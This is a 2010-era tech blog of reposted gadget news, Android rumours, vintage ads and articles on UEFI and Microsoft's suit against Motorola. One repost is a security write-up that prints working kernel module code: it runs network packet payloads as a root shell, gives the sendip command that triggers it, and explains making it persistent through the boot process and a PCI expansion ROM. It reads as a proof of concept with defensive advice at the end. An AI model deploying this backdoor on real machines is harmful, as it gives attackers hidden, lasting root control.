Mayur's Posterous

TikTok+LunaTik MultiTouch Watch Kits for iPod Nano

They finally made a proper wristband for the new nanos. If you're looking for an Android flavored gadget, I posted a video on the Sony Ericsson LiveView sometime back.

 

Posted

Nexus One will be the first handset to get Gingerbread | Geekword - Technology Blog

Want more evidence of Gingerbread going live this week? Then stay right here as we have got the stuff you are looking for. A tweet from Alvaro Fuentes Vasquez who happens to be an effective member of Open Handset Alliance has strengthen the rumor of Google releasing Gingerbread during the course of this week, possibly on 11th October as rumored earlier.

 

Here’s a translated version of the tweet:

Prepare your Nexus One (Developer version) for Android OTA update 2.3 (Gingerbread) in the next few days:-D

I just wonder if the mention of the Google’s first Android flagship device, Nexus One strengthens the claims of Samsung manufactured Nexus Two launch being delayed owing to hardware failure. Having said that Nexus One owners out there will be extremely happy upon hearing this news.

 

Posted

iPhone vs. Android vs. BlackBerry | C-Section Comics

Posted

Dell Inspiron Duo

 

Posted

The 8pen - reinventing the keyboard for touch enabled devices

Media_httpwwwthe8penc_rgbfa

Posted

Hosting backdoors in hardware [techies, read this]

Have you ever had a machine get compromised? What did you do? Did you run rootkit checkers and reboot? Did you restore from backups or wipe and reinstall the machines, to remove any potential backdoors?

In some cases, that may not be enough. In this blog post, we’re going to describe how we can gain full control of someone’s machine by giving them a piece of hardware which they install into their computer. The backdoor won’t leave any trace on the disk, so it won’t be eliminated even if the operating system is reinstalled. It’s important to note that our ability to do this does not depend on exploiting any bugs in the operating system or other software; our hardware-based backdoor would work even if all the software on the system worked perfectly as designed.

I’ll let you figure out the social engineering side of getting the hardware installed (birthday “present”?), and instead focus on some of the technical details involved.

Our goal is to produce a PCI card which, when present in a machine running Linux, modifies the kernel so that we can control the machine remotely over the Internet. We’re going to make the simplifying assumption that we have a virtual machine which is a replica of the actual target machine. In particular, we know the architecture and exact kernel version of the target machine. Our proof-of-concept code will be written to only work on this specific kernel version, but it’s mainly just a matter of engineering effort to support a wide range of kernels.

Modifying the kernel with a kernel module

The easiest way to modify the behavior of our kernel is by loading a kernel module. Let’s start by writing a module that will allow us to remotely control a machine.

IP packets have a field called the protocol number, which is how systems distinguish between TCP and UDP and other protocols. We’re going to pick an unused protocol number, say, 163, and have our module listen for packets with that protocol number. When we receive one, we’ll execute its data payload in a shell running as root. This will give us complete remote control of the machine.

The Linux kernel has a global table inet_protos consisting of a struct net_protocol * for each protocol number. The important field for our purposes is handler, a pointer to a function which takes a single argument of type struct sk_buff *. Whenever the Linux kernel receives an IP packet, it looks up the entry in inet_protos corresponding to the protocol number of the packet, and if the entry is not NULL, it passes the packet to the handler function. The struct sk_buff type is quite complicated, but the only field we care about is the data field, which is a pointer to the beginning of the payload of the packet (everything after the IP header). We want to pass the payload as commands to a shell running with root privileges. We can create a user-mode process running as root using the call_usermodehelper function, so our handler looks like this:

int exec_packet(struct sk_buff *skb)
{
        char *argv[4] = {"/bin/sh", "-c", skb->data, NULL};
        char *envp[1] = {NULL};

        call_usermodehelper("/bin/sh", argv, envp, UMH_NO_WAIT);

        kfree_skb(skb);
        return 0;
}

We also have to define a struct net_protocol which points to our packet handler, and register it when our module is loaded:

const struct net_protocol proto163_protocol = {
        .handler = exec_packet,
        .no_policy = 1,
        .netns_ok = 1
};

int init_module(void)
{
        return (inet_add_protocol(&proto163_protocol, 163) < 0);
}

Let’s build and load the module:

rwbarton@target:~$ make
make -C /lib/modules/2.6.32-24-generic/build M=/home/rwbarton modules
make[1]: Entering directory `/usr/src/linux-headers-2.6.32-24-generic'
  CC [M]  /home/rwbarton/exec163.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /home/rwbarton/exec163.mod.o
  LD [M]  /home/rwbarton/exec163.ko
make[1]: Leaving directory `/usr/src/linux-headers-2.6.32-24-generic'
rwbarton@target:~$ sudo insmod exec163.ko

Now we can use sendip (available in the sendip Ubuntu package) to construct and send a packet with protocol number 163 from a second machine (named control) to the target machine:

rwbarton@control:~$ echo -ne 'touch /tmp/x\0' > payload
rwbarton@control:~$ sudo sendip -p ipv4 -is 0 -ip 163 -f payload $targetip
rwbarton@target:~$ ls -l /tmp/x
-rw-r--r-- 1 root root 0 2010-10-12 14:53 /tmp/x

Great! It worked. Note that we have to send a null-terminated string in the payload, because that’s what call_usermodehelper expects to find in argv and we didn’t add a terminator in exec_packet.

Modifying the on-disk kernel

In the previous section we used the module loader to make our changes to the running kernel. Our next goal is to make these changes by altering the kernel on the disk. This is basically an application of ordinary binary patching techniques, so we’re just going to give a high-level overview of what needs to be done.

The kernel lives in the /boot directory; on my test system, it’s called /boot/vmlinuz-2.6.32-24-generic. This file actually contains a compressed version of the kernel, along with the code which decompresses it and then jumps to the start. We’re going to modify this code to make a few changes to the decompressed image before executing it, which have the same effect as loading our kernel module did in the previous section.

When we used the kernel module loader to make our changes to the kernel, the module loader performed three important tasks for us:

  1. it allocated kernel memory to store our kernel module, including both code (the exec_packet function) and data (proto163_protocol and the string constants in exec_packet) sections;
  2. it performed relocations, so that, for example, exec_packet knows the addresses of the kernel functions it needs to call such as kfree_skb, as well as the addresses of its string constants;
  3. it ran our init_module function.

We have to address each of these points in figuring out how to apply our changes without making use of the module loader.

The second and third points are relatively straightforward thanks to our simplifying assumption that we know the exact kernel version on the target system. We can look up the addresses of the kernel functions our module needs to call by hand, and define them as constants in our code. We can also easily patch the kernel’s startup function to install a pointer to our proto163_protocol in inet_protos[163], since we have an exact copy of its code.

The first point is a little tricky. Normally, we would call kmalloc to allocate some memory to store our module’s code and data, but we need to make our changes before the kernel has started running, so the memory allocator won’t be initialized yet. We could try to find some code to patch that runs late enough that it is safe to call kmalloc, but we’d still have to find somewhere to store that extra code.

What we’re going to do is cheat and find some data which isn’t used for anything terribly important, and overwrite it with our own data. In general, it’s hard to be sure what a given chunk of kernel image is used for; even a large chunk of zeros might be part of an important lookup table. However, we can be rather confident that any error messages in the kernel image are not used for anything besides being displayed to the user. We just need to find an error message which is long enough to provide space for our data, and obscure enough that it’s unlikely to ever be triggered. We’ll need well under 180 bytes for our data, so let’s look for strings in the kernel image which are at least that long:

rwbarton@target:~$ strings vmlinux | egrep  '^.{180}' | less

One of the output lines is this one:

<4>Attempt to access file with crypto metadata only in the extended attribute region, but eCryptfs was mounted without xattr support enabled. eCryptfs will not treat this like an encrypted file.

This sounds pretty obscure to me, and a Google search doesn’t find any occurrences of this message which aren’t from the kernel source code. So, we’re going to just overwrite it with our data.

Having worked out what changes need to be applied to the decompressed kernel, we can modify the vmlinuz file so that it applies these changes after performing the decompression. Again, we need to find a place to store our added code, and conveniently enough, there are a bunch of strings used as error messages (in case decompression fails). We don’t expect the decompression to fail, because we didn’t modify the compressed image at all. So we’ll overwrite those error messages with code that applies our patches to the decompressed kernel, and modify the code in vmlinuz that decompresses the kernel to jump to our code after doing so. The changes amount to 5 bytes to write that jmp instruction, and about 200 bytes for the code and data that we use to patch the decompressed kernel.

Modifying the kernel during the boot process

Our end goal, however, is not to actually modify the on-disk kernel at all, but to create a piece of hardware which, if present in the target machine when it is booted, will cause our changes to be applied to the kernel. How can we accomplish that?

The PCI specification defines a “expansion ROM” mechanism whereby a PCI card can include a bit of code for the BIOS to execute during the boot procedure. This is intended to give the hardware a chance to initialize itself, but we can also use it for our own purposes. To figure out what code we need to include on our expansion ROM, we need to know a little more about the boot process.

When a machine boots up, the BIOS initializes the hardware, then loads the master boot record from the boot device, generally a hard drive. Disks are traditionally divided into conceptual units called sectors of 512 bytes each. The master boot record is the first sector on the drive. After loading the master boot record into memory, the BIOS jumps to the beginning of the record.

On my test system, the master boot record was installed by GRUB. It contains code to load the rest of the GRUB boot loader, which in turn loads the /boot/vmlinuz-2.6.32-24-generic image from the disk and executes it. GRUB contains a built-in driver which understands the ext4 filesystem layout. However, it relies on the BIOS to actually read data from the disk, in much the same way that a user-level program relies on an operating system to access the hardware. Roughly speaking, when GRUB wants to read some sectors off the disk, it loads the start sector, number of sectors to read, and target address into registers, and then invokes the int 0x13 instruction to raise an interrupt. The CPU has a table of interrupt descriptors, which specify for each interrupt number a function pointer to call when that interrupt is raised. During initialization, the BIOS sets up these function pointers so that, for example, the entry corresponding to interrupt 0x13 points to the BIOS code handling hard drive IO.

Our expansion ROM is run after the BIOS sets up these interrupt descriptors, but before the master boot record is read from the disk. So what we’ll do in the expansion ROM code is overwrite the entry for interrupt 0x13. This is actually a legitimate technique which we would use if we were writing an expansion ROM for some kind of exotic hard drive controller, which a generic BIOS wouldn’t know how to read, so that we could boot off of the exotic hard drive. In our case, though, what we’re going to make the int 0x13 handler do is to call the original interrupt handler, then check whether the data we read matches one of the sectors of /boot/vmlinuz-2.6.32-24-generic that we need to patch. The ext4 filesystem stores files aligned on sector boundaries, so we can easily determine whether we need to patch a sector that’s just been read by inspecting the first few bytes of the sector. Then we return from our custom int 0x13 handler. The code for this handler will be stored on our expansion ROM, and the entry point of our expansion ROM will set up the interrupt descriptor entry to point to it.

In summary, the boot process of the system with our PCI card inserted looks like this:

  • The BIOS starts up and performs basic initialization, including setting up the interrupt descriptor table.
  • The BIOS runs our expansion ROM code, which hooks the int 0x13 handler so that it will apply our patch to the vmlinuz file when it is read off the disk.
  • The BIOS loads the master boot record installed by GRUB, and jumps to it. The master boot record loads the rest of GRUB.
  • GRUB reads the vmlinuz file from the disk, but our custom int 0x13 handler applies our patches to the kernel before returning.
  • GRUB jumps to the vmlinuz entry point, which decompresses the kernel image. Our modifications to vmlinuz cause it to overwrite a string constant with our exec_packet function and associated data, and also to overwrite the end of the startup code to install a pointer to this data in inet_protos[163].
  • The startup code of the decompressed kernel runs and installs our handler in inet_protos[163].
  • The kernel continues to boot normally.

We can now control the machine remotely over the Internet by sending it packets with protocol number 163.

One neat thing about this setup is that it’s not so easy to detect that anything unusual has happened. The running Linux system reads from the disk using its own drivers, not BIOS calls via the real-mode interrupt table, so inspecting the on-disk kernel image will correctly show that it is unmodified. For the same reason, if we use our remote control of the machine to install some malicious software which is then detected by the system administrator, the usual procedure of reinstalling the operating system and restoring data from backups will not remove our backdoor, since it is not stored on the disk at all.

What does all this mean in practice? Just like you should not run untrusted software, you should not install hardware provided by untrusted sources. Unless you work for something like a government intelligence agency, though, you shouldn’t realistically worry about installing commodity hardware from reputable vendors. After all, you’re already also trusting the manufacturer of your processor, RAM, etc., as well as your operating system and compiler providers. Of course, most real-world vulnerabilities are due to mistakes and not malice. An attacker can gain control of systems by exploiting bugs in popular operating systems much more easily than by distributing malicious hardware.

Ksplice Uptrack

This entry was posted on Wednesday, October 27th, 2010 at 11:56 am and is filed under security. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.

 We need to get more open source hardware out there. http://en.wikipedia.org/wiki/Open-source_hardware

Posted

Awesome Vintage Tech Ads | UNEASYsilence

      

 


You can laugh now, but some years ago you were getting a very nice deal by buying a $3398 10MB hard drive.

 

 

 


A sexy modem? Come on!

 


 

 

 


 


Two are always better than one. At least according to this 1978 ad from Technico Inc. TMS9900.

 

 

 


Remember Elvira, Mistress of the Dark? Besides appearing on TV in features like Elvira’s Movie Macabre Halloween Special, Elvira also invited Computerworld readers to “cut through paper-based CASE [computer-aided software engineering] methods with LBMS” software.

 


This ad won’t make any sense if you’re not a follower of the TV series Lost. However, if you are, you’ll find it amusing…

 

 


It’s small and light at ‘only’ 11+ lbs.

 

 

 


“With WordStar, you have a true screen image of what your printout will look like before you print it! With WordStar, you’ll erase, insert, delete and move entire blocks of copy.” Gee, it’s like magic!

 

 


 

 


Would you say this ad was a little sexist?

 

 


 

 


Every Kid Should Have an Apple after School.

 

 


In the future, everyone will use floppy disks.

 

 

 

Posted

Giant Gingerbread statue arrives at Googleplex

Android users, rejoice!

Nothing is official as of yet, but from what I've read online, Android 2.3 will be known as Gingerbread and Android 3.0 will be known as Honeycomb.

Posted

BBC News - Change to 'Bios' will make for PCs that boot in seconds

 New PCs could start in just seconds, thanks to an update to one of the oldest parts of desktop computers.

The upgrade will spell the end for the 25-year-old PC start-up software known as Bios that initialises a machine so its operating system can get going.

The code was not intended to live nearly this long, and adapting it to modern PCs is one reason they take as long as they do to warm up.

Bios' replacement, known as UEFI, will predominate in new PCs by 2011.

The acronym stands for Unified Extensible Firmware Interface and is designed to be more flexible than its venerable predecessor.

"Conventional Bios is up there with some of the physical pieces of the chip set that have been kicking around the PC since 1979," said Mark Doran, head of the UEFI Forum, which is overseeing development of the technology.

Mr Doran said the creators of the original Bios only expected it to have a lifetime of about 250,000 machines - a figure that has long been surpassed.

"They are as amazed as anyone else that now it is still alive and well in a lot of systems," he said. "It was never really designed to be extensible over time."

AMI is a firm that develops Bios software. Brian Richardson, of AMI's technical marketing team, said the age of the Bios was starting to hamper development as 64-bit computing became more common and machines mutated beyond basic desktops and laptops.

Floppy disk, Eyewire  
The Bios tells the computer what input and output devices are installed

"Drive size limits that were inherent to the original PC design - two terabytes - are going to become an issue pretty soon for those that use their PC a lot for pictures and video," he said.

Similarly, he said, as tablet computers and other smaller devices become more popular, having to get them working with a PC control system was going to cause problems.

The problem emerges, he said, because Bios expects the machine it is getting going to have the same basic internal set-up as the first PCs.

As a result, adding extra peripherals - such as keyboards that connect via USB rather than the AT or PS/2 ports of yesteryear - has been technically far from straightforward.

Similarly, the Bios forces USB drives to be identified to a PC as either a hard drive or a floppy drive.

This, said Mr Richardson, could cause problems when those thumb drives are used to get a system working while installing or re-installing an operating system.

UEFI frees any computer from being based around the blueprint and specifications of the original PCs. For instance, it does not specify that a keyboard will only connect via a specific port.

"All it says is that somewhere in the machine there's a device that can produce keyboard-type information," said Mr Doran.

Under UEFI, it will be much easier for that input to come a soft keyboard, gestures on a touchscreen or any future input device.

Rack of computers, Think Stock

UEFI is proving a boon to those managing lots of computers in data centres

"The extensible part of the name is important because we are going to have to live with this for a long time," said Mr Doran.

He added that UEFI started life as an Intel-only specification known as EFI. It morphed into a general standard when the need to replace Bios industry-wide became more widely recognised.

Alternatives to UEFI, such as Open Firmware and Coreboot, do exist and are typically used on computers that do not run chips based on Intel's x86 architecture.

The first to see the benefits of swapping old-fashioned Bios for UEFI have been system administrators who have to oversee hundreds or thousands of PCs in data centres or in offices around the world.

Before now, said Mr Doran, getting those machines working has been "pretty painful" because of the limited capabilities of Bios.

By contrast, he said, UEFI has much better support for basic net protocols - which should mean that remote management is easier from the "bare metal" upwards.

For consumers, said Mr Doran, the biggest obvious benefit of a machine running UEFI will be the speed with which it starts up.

"At the moment it can be 25-30 seconds of boot time before you see the first bit of OS sign-on," he said. "With UEFI we're getting it under a handful of seconds."

"In terms of boot speed, we're not at instant-on yet but it is already a lot better than conventional Bios can manage," he said "and we're getting closer to that every day."

Some PC and laptop makers are already using UEFI as are many firms that make embedded computers. More, said Mr Richardson, will result as motherboard makers complete the shift to using it.

He said that 2011 would be the year that sales of UEFI machines start to dominate.

"I would say we are at the edge of the tipping point right now," he said.

 

Posted

Microsoft Sues Motorola Over Android

Microsoft Corp. launched a legal attack aimed at fighting the explosive growth of cellphones powered by Google Inc.'s Android software, as the technology giant struggles to find its own answer to the shift away from traditional computers in favor of mobile gadgets.

The software company sued Motorola Inc., one of the biggest backers of Google's software, claiming the cellphone maker is infringing nine patents in handsets powered by Android.

While Microsoft has struggled to win adoption of its Windows software for phones, Android, which Google gives away free, has been widely adopted by handset makers and software programmers.

1001microsoft

Microsoft plans to unveil a lineup of smartphones using the revamped version of its mobile operating system in early October. This launch is crucial for Microsoft, which has been battered by Apple's iPhone and Google's Android mobile software. Dow Jones Newswires' Roger Cheng reports.

The suit comes as Microsoft is poised to introduce its latest operating system for smartphones that can compete with Apple Inc.'s iPhone and devices running Android.

Motorola, which has stopped making phones running Microsoft's software, has bet its future on Android. The company is preparing to split itself apart, establishing an independent cellphone business.

Motorola said it hasn't received a copy of the complaint, which was filed in federal court in Seattle, but added: "The company will vigorously defend itself in this matter."

Google's mobile software is at the heart of other legal challenges. Apple has sued an Android phone maker, HTC Corp. for alleged patent infringement, while Oracle Corp. has sued Google directly. If they're successful, the lawsuits could help raise the costs for companies that use Android.

In a recent interview before it filed the Motorola lawsuit, Microsoft Chief Executive Steve Ballmer said there will still be a cost for using Android even if Google doesn't charge handset makers a traditional licensing fee for using it. "It's not like Android's free," he said. "You do have to license patents."

Microsoft's problems in the mobile business took a financial toll on Mr. Ballmer personally last year, according to a proxy report filed by Microsoft this week. For the fiscal year that ended June 30, Mr. Ballmer received a $670,000 cash bonus—only half of his total possible bonus.

Microsoft directors considered several factors in their decision, including the loss of market share for the company in the mobile-phone business and the failure of Kin, a Microsoft-designed phone for the youth market.

Any slowdown to Google's momentum could help Microsoft as it prepares to launch a new product next Monday called Windows Phone 7, an operating system that it has spent the last two years overhauling.

"We are disappointed that Microsoft prefers to compete over old patents rather than new products," a Google spokesman said. "While we are not a party to this lawsuit, we stand behind the Android platform and the partners who have helped us to develop it."

The lawsuit seeks unspecified monetary damages and a permanent injunction. Microsoft also filed a complaint with International Trade Commission.

"It's clearly an aggressive posture. My gut feeling is Microsoft is losing the handheld wars and they're using their patent portfolio to get some of it back," said Mark Kesslen, a patent lawyer at Lowenstein Sandler, who isn't involved in the case.

"When you think about the marketplace, it's Apple and Android," he added. "They're using their patent portfolio to either slow down the growth or get some piece of the market share through some other means."

An early entrant in the fledgling market for smartphone software, Microsoft began to lose ground several years ago when Apple came out with the iPhone.

The Apple product dramatically raised the technical bar for smartphones with its touchscreen interface and mobile Web surfing. In comparison, Microsoft's software, called Windows Mobile at the time, seemed outdated and was difficult to use.

The stakes in the mobile business are huge for Microsoft. In comparison with the more mature PC business, smartphones are a high-growth category, one that's increasingly attracting the creative energy of software developers.

More than two years ago, Mr. Ballmer ushered in a group of new senior executives to lead the company's mobile team, which then set about rewriting the Windows Mobile operating system. The overhaul took longer than expected, which in turn led Microsoft's key handset partners, including Motorola, HTC and Samsung Electronics Co., to expand their use of Android in phones.

Microsoft's share of the world-wide smartphone market this year is expected to fall to 6.8% from 13% in 2008, while Google is forecast to jump to 16.3% from less than 1% two years ago, according to IDC.

Microsoft executives now believe they're on the verge of a turnaround in their business. Windows Phone 7 has gotten early praise from reviewers for its user interface, which relies on a grid of text and icons on a home screen. The company is relying heavily on existing assets like its Xbox games business to jumpstart its position in gaming on Windows Phones.

"The goal is to be in the game, to establish our reputation and credibility," said Terry Myerson, corporate vice president of Windows Phone Engineering. "That's not a unit-volume and revenue goal, but it's the foundation for a real business."

The financial opportunity in the mobile business for Microsoft remains unclear. While Microsoft still seeks a licensing fee for using Windows Phone, estimated to be less than $8 a handset. Google seeks to make money instead through advertising when users conduct searches and perform other activities on Android devices. Microsoft also plans to derive revenue from advertising on Windows Phones.

"If they give away something for free and they don't pay royalties, they ruin the economics of the business," Roger Kay, an analyst at Endpoint Technologies Associates, said of Google. "They've been doing that in industry over industry."

Just as Apple sued HTC rather than Google, Microsoft has taken aim at Motorola because the cellphone maker derives revenue directly from selling Android-powered phones, making it easier to make a case for financial damages.

Microsoft's suit carries risks because it needs support from handset makers to be successful. But among the companies it has worked with in the past in the mobile business, Motorola is the biggest that hasn't signed on to use Windows Phone 7 in its products.

Microsoft deputy general counsel Horacio Gutierrez said there was no connection between Microsoft's decision to sue Motorola and the fact that the handset maker isn't making phones that use Windows Phone 7 software.

Earlier this year, Microsoft struck a patent licensing deal with another key partner for Windows Phone 7, HTC, that grants the Taiwanese handset maker rights to use Microsoft patents in HTC's popular Android phones.

In an interview before the Motorola suit was filed, HTC CEO Peter Chou said he believes the Microsoft still has an opportunity to become a player in mobile phone software, even after the troubles in its business.

"We went through a difficult time but this new thing is coming and we're all very excited," Mr. Chou said.

—Shayndi Raice contributed to this article.

Write to Nick Wingfield at nick.wingfield@wsj.com

 

Posted